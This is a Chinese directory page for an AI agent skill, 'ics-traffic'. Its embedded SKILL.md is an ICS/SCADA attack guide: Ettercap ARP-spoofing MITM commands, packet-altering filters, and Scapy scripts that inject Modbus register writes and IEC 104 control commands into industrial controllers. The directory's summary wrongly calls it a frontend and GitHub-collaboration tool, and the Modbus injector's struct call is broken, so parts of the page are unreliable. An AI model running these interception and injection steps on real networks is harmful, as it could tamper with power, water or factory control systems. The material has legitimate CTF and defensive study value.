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Agent Skill · 前端设计

ics-traffic(工业控制系统流量)

ics-traffic 用于处理 GitHub 仓库、Issue、Pull Request 和代码协作信息,适合在 Codex、Claude、Cursor、Gemini CLI 中需要围绕仓库状态、代码变更或协作事项进行整理时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

ics-traffic 是前端设计类 Agent Skill,可用宿主为 Codex、Claude、Cursor、Gemini CLI,通过GitHub 仓库获取,权限为需要联网;许可证信息还不明确,第三方扫描有未通过项,按安装量在前端设计类的 10,216 个 Skill 里排第 8,708。

总安装 267周安装 11GitHub Stars 4下载 87核验 2026-05-01

安装说明

本站只整理中文说明,不托管安装包,也不代用户安装。
GitHub
许可证
unknown

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:ics-traffic(工业控制系统流量)
来源仓库:https://github.com/g36maid/ctf-arsenal
仓库路径:skills/ics-traffic
安装命令:
npx skills add https://github.com/g36maid/ctf-arsenal --skill ics-traffic
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/g36maid/ctf-arsenal --skill ics-traffic

这个 Skill 是做什么的

前端设计类 Skill 关注页面结构、视觉规范和组件写法,输出通常是可运行的界面代码。

用于处理 GitHub 仓库协作信息,如 Issue、Pull Request 和代码变更。适合在工业控制系统相关项目中同步开发进度或分析代码演进。需结合具体应用场景理解变更影响,避免脱离实际环境解读提交记录。可通过 npx 命令从指定仓库安装,适用于 Codex、Claude 等宿主平台。

使用前应确认权限范围,防止访问受限仓库或执行危险操作。

来源仓库内路径:skills/ics-traffic

上手步骤

4 步
  1. 1

    确认自己的宿主工具

    公开资料标注支持 Codex、Claude、Cursor、Gemini CLI;先确认自己用的是其中之一,再按对应工具的 Skills 目录放置。

  2. 2

    拿到安装命令

    可以直接复制的命令是 npx skills add https://github.com/g36maid/ctf-arsenal --skill ics-traffic;命令里的占位符换成自己的路径或密钥再执行。

  3. 3

    安装后重启宿主

    命令执行完要完全退出宿主工具再打开,让新装的 Skill 被重新扫描到,否则列表里可能看不到。

  4. 4

    按最小权限试用

    它需要需要联网,先在测试目录或测试账号里跑,确认没问题再放到正式项目。

常见问题

6 条

ics-traffic 怎么安装?

在终端执行 npx skills add https://github.com/g36maid/ctf-arsenal --skill ics-traffic。装完完全退出宿主工具再打开,让它重新扫描本地 Skill。

ics-traffic 支持哪些 AI 工具?

公开资料标注支持 Codex、Claude、Cursor、Gemini CLI。其他工具只要能读取本地 Skill 目录,一般也能手动放进去,但要自己确认触发方式是否一致。

ics-traffic 需要什么权限?

权限级别是需要联网。该 Skill 可能需要联网访问来源站点、仓库或外部 API;具体网络访问范围需要结合源码和 README 复核。

ics-traffic 是免费的吗?

公开资料没有标注明确许可证,收费和商用限制都无法确认。正式使用前请到来源仓库核对授权说明。

ics-traffic 用的人多吗?

公开数据是累计安装 267 次,近一周安装 11 次,下载 87 次,GitHub 4 星。这些数字来自第三方目录统计,只能当作热度参考,不代表质量或安全性。

ics-traffic 安全吗?

第三方扫描有未通过项,风险较高。除非你确认过源码,否则不建议直接安装到常用环境。

值得选的地方和要先想清楚的地方

值得选的地方

  • 同时适配 4 种工具,换客户端不用重新找替代品。

先想清楚的地方

  • 许可证没有明确标注,能不能商用、能不能再分发都不确定。
  • 第三方扫描存在提醒项或未通过项,需要人工逐条确认。
  • 第三方目录整理,版本更新和行为细节以来源仓库为准。

适不适合你

更适合

  • 已经在用 Codex,想直接扩展它能力的人。
  • 需要处理前端设计类任务、又不想每次都手写提示词的人。

不太适合

  • 需要明确授权才能用到公司项目里的场景。
  • 需要厂商级技术支持和 SLA 的生产系统。

前端设计类 Skill 对比

6 个同类
Skill总安装GitHub 星权限许可证扫描
frontend-design

前端设计 · Codex、Claude

8,823,360126,072只读MIT通过
vercel-composition-patterns

Vercel 组合模式 · Codex、Claude

3,858,81625,893需要联网MIT通过
vercel-react-native-skills

Vercel React native skills 前端 · Codex、Claude

2,468,66425,878只读MIT通过
adapt

adapt 搜索 · Codex、Claude

2,027,04023,125操作浏览器未明确通过
bolder

bolder 分析 · Codex、Claude

2,004,28823,130只读未明确通过
ics-traffic

工业控制系统流量 · 本页

2674需要联网未明确未通过

按安装量取同分类前几名;数字来自第三方目录统计,只作热度参考,不代表质量结论。

SKILL.md 原文

ICS/SCADA Traffic Analysis and Exploitation

When to Use

Load this skill when:

  • Analyzing Industrial Control System (ICS) or SCADA traffic
  • Performing MITM attacks on ICS protocols
  • Sniffing or injecting Modbus/TCP packets
  • Working with IEC 60870-5-104 or DNP3 protocols
  • Using Ettercap for ARP spoofing
  • Crafting packets with Scapy

Prerequisites

Essential Setup

# Enable IP forwarding (REQUIRED for MITM)
sudo sysctl -w net.ipv4.ip_forward=1

# Verify setting
sysctl net.ipv4.ip_forward  # Should return 1

Why? Without IP forwarding, intercepted packets won't be forwarded, causing network disruption and failed MITM.

Check Network Interface

# List available interfaces
ip link show

# Common interface names
# - eth0: Wired Ethernet
# - wlan0: Wireless
# - enp0s3: VirtualBox/VMware NAT

Ettercap MITM Attacks

Basic ARP Spoofing

# Text mode (recommended for CTF)
sudo ettercap -T -i eth0 -M arp:remote /192.168.1.100/ /192.168.1.1/
#                          │          └─target────┘  └─gateway──┘
#                          │
#                          └─ Mode: arp:remote (full duplex MITM)

# GUI mode
sudo ettercap -G

Target Format

FormatExampleDescription
Single IP/192.168.1.100/Single target
IP range/192.168.1.1-30/Range of IPs
CIDR notation/192.168.1.0/24/Entire subnet
With ports/192.168.1.100/80,443/Specific ports
MAC + IP/00:11:22:33:44:55/192.168.1.100/MAC and IP

ARP Spoofing Modes

# Full duplex MITM (recommended)
sudo ettercap -T -i eth0 -M arp:remote /target/ /gateway/

# One-way poisoning
sudo ettercap -T -i eth0 -M arp:oneway /target/ /gateway/

# Auto-detect targets
sudo ettercap -T -i eth0 -M arp

Capture Traffic to PCAP

# Save intercepted traffic
sudo ettercap -T -i eth0 -M arp:remote /target/ /gateway/ -w capture.pcap

# Analyze with Wireshark
wireshark capture.pcap

# Or with tshark
tshark -r capture.pcap -Y "modbus"

Ettercap Filters

Filter Compilation

# Compile filter
sudo etterfilter modbus_filter.etter -o modbus_filter.ef

# Use filter in Ettercap
sudo ettercap -T -i eth0 -M arp:remote /target/ /gateway/ -F modbus_filter.ef

Filter Syntax

// Basic structure
if (condition) {
    action;
}

// Common conditions
if (ip.proto == TCP && tcp.dst == 502) {
    msg("Modbus packet detected\n");
}

// Check specific bytes
if (ip.proto == TCP && tcp.dst == 502) {
    if (DATA.data + 7 == 0x03) {  // Function code 0x03 (Read Holding Registers)
        msg("Read Holding Registers request\n");
    }
}

// Block packets
if (tcp.dst == 502 && DATA.data + 7 == 0x05) {  // Write Single Coil
    drop();
    msg("Blocked Write Single Coil\n");
}

// Modify packets
if (tcp.dst == 502) {
    replace("old_value", "new_value");
}

Example: Modbus Write Blocker

// File: modbus_block_writes.etter
if (ip.proto == TCP && tcp.dst == 502) {
    // Block write commands
    if (DATA.data + 7 == 0x05 ||  // Write Single Coil
        DATA.data + 7 == 0x06 ||  // Write Single Register
        DATA.data + 7 == 0x0F ||  // Write Multiple Coils
        DATA.data + 7 == 0x10) {  // Write Multiple Registers
        drop();
        msg("Blocked Modbus write command\n");
    }
}

Common ICS Protocols and Ports

ProtocolPortDescriptionUse Case
Modbus/TCP502Industrial protocolPLCs, SCADA systems
IEC 60870-5-1042404Power grid controlSubstation automation
DNP320000Utility SCADAElectric/water utilities
OPC UA4840Industrial IoTModern SCADA
EtherNet/IP44818Rockwell automationAllen-Bradley PLCs
S7comm102Siemens protocolSiemens PLCs

Modbus Protocol

Modbus Function Codes

CodeFunctionTypeRisk
0x01Read CoilsReadLow
0x02Read Discrete InputsReadLow
0x03Read Holding RegistersReadLow
0x04Read Input RegistersReadLow
0x05Write Single CoilWriteHigh
0x06Write Single RegisterWriteHigh
0x0FWrite Multiple CoilsWriteHigh
0x10Write Multiple RegistersWriteHigh

Scapy Modbus Sniffer

#!/usr/bin/env python3
"""Sniff Modbus/TCP traffic"""
from scapy.all import *

def modbus_callback(pkt):
    """Process Modbus packets"""
    if TCP in pkt and pkt[TCP].dport == 502:
        payload = bytes(pkt[TCP].payload)
        if len(payload) >= 8:
            func_code = payload[7]
            func_names = {
                0x01: "Read Coils",
                0x03: "Read Holding Registers",
                0x05: "Write Single Coil",
                0x06: "Write Single Register",
                0x0F: "Write Multiple Coils",
                0x10: "Write Multiple Registers",
            }
            func_name = func_names.get(func_code, f"Unknown (0x{func_code:02x})")
            print(f"[Modbus] {pkt[IP].src} -> {pkt[IP].dst} : {func_name}")

# Sniff on interface
sniff(filter="tcp port 502", prn=modbus_callback, store=0)

Scapy Modbus Injector

#!/usr/bin/env python3
"""Inject Modbus/TCP packets"""
from scapy.all import *

def inject_modbus_write(target_ip, register_addr, value):
    """Inject Write Single Register command"""
    # Modbus TCP header
    transaction_id = 0x0001
    protocol_id = 0x0000
    length = 0x0006
    unit_id = 0x01

    # Modbus PDU
    function_code = 0x06  # Write Single Register

    # Build packet
    modbus_pdu = struct.pack(
        ">HHHBBB H H",
        transaction_id,
        protocol_id,
        length,
        unit_id,
        function_code,
        register_addr,
        value
    )

    pkt = IP(dst=target_ip)/TCP(dport=502)/Raw(load=modbus_pdu)
    send(pkt)
    print(f"[+] Injected: Write Register {register_addr} = {value}")

# Usage
inject_modbus_write("192.168.1.100", register_addr=100, value=999)

IEC 60870-5-104 Protocol

Scapy IEC 104 Sniffer

#!/usr/bin/env python3
"""Sniff IEC 60870-5-104 traffic"""
from scapy.all import *

def iec104_callback(pkt):
    """Process IEC 104 packets"""
    if TCP in pkt and pkt[TCP].dport == 2404:
        payload = bytes(pkt[TCP].payload)
        if len(payload) >= 2:
            start_byte = payload[0]
            if start_byte == 0x68:  # IEC 104 APDU start
                apdu_len = payload[1]
                print(f"[IEC 104] {pkt[IP].src} -> {pkt[IP].dst} : APDU Length {apdu_len}")

sniff(filter="tcp port 2404", prn=iec104_callback, store=0)

IEC 104 Command Injection

#!/usr/bin/env python3
"""Inject IEC 104 control commands"""
from scapy.all import *

def inject_iec104_command(target_ip, ioa, value):
    """Inject single command"""
    # IEC 104 APDU structure (simplified)
    start = 0x68
    length = 0x0E
    control_field = 0x0000
    type_id = 0x2D  # C_SC_NA_1 (Single Command)

    apdu = bytes([start, length]) + struct.pack("<H", control_field)
    apdu += bytes([type_id, 0x01, 0x06, 0x00])  # SQ=0, NumIX=1
    apdu += struct.pack("<I", ioa)  # Information Object Address
    apdu += bytes([value & 0xFF])

    pkt = IP(dst=target_ip)/TCP(dport=2404)/Raw(load=apdu)
    send(pkt)
    print(f"[+] Injected IEC 104 command: IOA={ioa}, Value={value}")

DNP3 Protocol

Scapy DNP3 Sniffer

#!/usr/bin/env python3
"""Sniff DNP3 traffic"""
from scapy.all import *

def dnp3_callback(pkt):
    """Process DNP3 packets"""
    if TCP in pkt and pkt[TCP].dport == 20000:
        payload = bytes(pkt[TCP].payload)
        if len(payload) >= 10 and payload[0:2] == b'\x05\x64':
            print(f"[DNP3] {pkt[IP].src} -> {pkt[IP].dst}")

sniff(filter="tcp port 20000", prn=dnp3_callback, store=0)

Practical Tips

Verify MITM Success

# On target machine, check ARP table
arp -a

# Look for gateway MAC matching attacker's MAC
# Example output:
# ? (192.168.1.1) at AA:BB:CC:DD:EE:FF [ether] on eth0
#                    └─ Should be attacker's MAC if MITM successful

Restore Network After Attack

# Ettercap automatically restores ARP on exit (Ctrl+C)

# Manual restore (if needed)
sudo arp -d 192.168.1.1  # Delete poisoned entry

Analyze Captured Traffic

# Filter Modbus in Wireshark
tcp.port == 502

# Extract Modbus function codes with tshark
tshark -r capture.pcap -Y "modbus" -T fields -e modbus.func_code

# Count packet types
tshark -r capture.pcap -Y "tcp.port == 502" | wc -l

Quick Reference

TaskCommand
Enable IP forwardsudo sysctl -w net.ipv4.ip_forward=1
Basic ARP spoofsudo ettercap -T -i eth0 -M arp:remote /target/ /gw/
Compile filtersudo etterfilter filter.etter -o filter.ef
Use filtersudo ettercap -T -i eth0 -F filter.ef -M arp:remote...
Capture PCAPsudo ettercap -T -i eth0 -M arp -w capture.pcap
Sniff Modbussudo python3 scapy_scripts/modbus_sniffer.py
Check ARP tablearp -a

Bundled Resources

Scapy Scripts

  • scapy_scripts/modbus_sniffer.py - Modbus/TCP packet sniffer
  • scapy_scripts/modbus_inject.py - Inject Modbus commands
  • scapy_scripts/modbus_replay.py - Replay captured Modbus traffic
  • scapy_scripts/iec104_sniffer.py - IEC 104 packet sniffer
  • scapy_scripts/iec104_inject.py - IEC 104 command injection
  • scapy_scripts/dnp3_sniffer.py - DNP3 packet sniffer

Ettercap Filters

  • ettercap_filters/modbus_filter.etter - Log Modbus function codes
  • ettercap_filters/modbus_block_writes.etter - Block Modbus write commands
  • ettercap_filters/modbus_read_only.etter - Allow only read operations
  • ettercap_filters/iec104_filter.etter - IEC 104 packet logging
  • ettercap_filters/iec104_block_commands.etter - Block IEC 104 control
  • ettercap_filters/dnp3_block_commands.etter - Block DNP3 commands

References

  • references/ettercap_usage.md - Comprehensive Ettercap guide
  • references/modbus_quickref.md - Modbus protocol reference
  • references/ics_ports.md - ICS protocol port reference

Keywords

ICS, SCADA, industrial control systems, Modbus, Modbus/TCP, IEC 60870-5-104, IEC 104, DNP3, Ettercap, ARP spoofing, MITM, man in the middle, Scapy, packet injection, PLC, programmable logic controller, protocol analysis, network security, critical infrastructure

平台分布

Codex

35.41%
按下载量换算31

Claude

29.13%
按下载量换算25

Cursor

17.12%
按下载量换算15

Gemini CLI

8.52%
按下载量换算7

安全审计

Gen Agent Trust Hub

未通过

Socket

通过

Snyk

未通过

权限和风险

需要联网

该 Skill 可能需要联网访问来源站点、仓库或外部 API;具体网络访问范围需要结合源码和 README 复核。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在提醒或未通过项,安装前请自行复核。目前只有一个公开来源,建议同时核对源仓库。

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